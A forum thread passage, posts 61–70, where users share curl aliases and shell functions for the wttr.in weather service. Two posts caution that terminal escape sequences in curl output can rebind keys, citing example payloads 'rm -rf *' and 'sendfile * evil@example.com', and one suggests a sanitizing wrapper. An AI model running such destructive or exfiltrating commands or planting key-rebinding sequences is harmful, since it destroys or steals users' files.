alias godstatus='curl wttr.in'
Curl Wttr.in
61–70 of 128 posts
Re: Curl Wttr.in
#62I even spent a time to make a simple function in my shell to cut off the output after today and accept a location name
w () {
curl -s "wttr.in/$1?M1q" | head -17
}
and then I can just do w london
to get the weather for London today.But, like most of the functions/aliases I create, I can't remember the last time I used it (except couple of times when I see someone talking about it and I remember about it)
Re: Curl Wttr.in
#63I will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.
> those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”. oh my god. From http://www.termsys.demon.co.uk/vtansi.htm : > Set Key Definition [{key};"{string}"p > Associates a string of text to a keyboard key. {key} indicates the key by its ASCII value in decimal. But I can't reproduce it; in my terminal (gnome-terminal), `print('\x1b[97;"echo foo"p')` just sh…
Re: Curl Wttr.in
#64I will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.
Anyway, one can write a small filter, to cut any suspicious sequences from the output off, and add some wrapper like that to your bashrc:
curl() { [ -t 1 ] && curl "$@" | sanitize || curl "$@"; }
Re: Curl Wttr.in
#65This is one of those services that I love when I find them, use extensively for the next 30 minutes and forget about. But I keep coming back to it! I even spent a time to make a simple function in my shell to cut off the output after today and accept a location name w () { curl -s "wttr.in/$1?M1q" | head -17 } and then I can just do w london to get the weather for London today. But, like most of the functions/aliases…
Re: Curl Wttr.in
#66Very cool, if i could suggest improvements it would be another view that shows some sort of line graph of temperature and rain and sunshine hours. Also thanks for the T option - useful if your terminal has a white background( like Apple's default).
and for the white background:
curl wttr.in/?I
Re: Curl Wttr.in
#67Easy way to find the public IP :)
Re: Curl Wttr.in
#68Welcome to my alias list. This provides better weather information than local news websites who have dedicated pages. That said, I'm in a developing country where it's just monsoon all the damm time :D
Been using it for years here in Ireland. I have the following: alias wett='curl wttr.in/limerick'. :-)
curl ga.wttr.in/limerick
Re: Curl Wttr.in
#69This is one of those services that I love when I find them, use extensively for the next 30 minutes and forget about. But I keep coming back to it! I even spent a time to make a simple function in my shell to cut off the output after today and accept a location name w () { curl -s "wttr.in/$1?M1q" | head -17 } and then I can just do w london to get the weather for London today. But, like most of the functions/aliases…
Just add `F` to the options, and you don't need `| head -17` then
w () {
curl -s "wttr.in/$1?M1qF"
}Re: Curl Wttr.in
#70perfect command for a bash alias alias godstatus='curl wttr.in'
weather ()
{
curl http://wttr.in/${1:-LAX}
}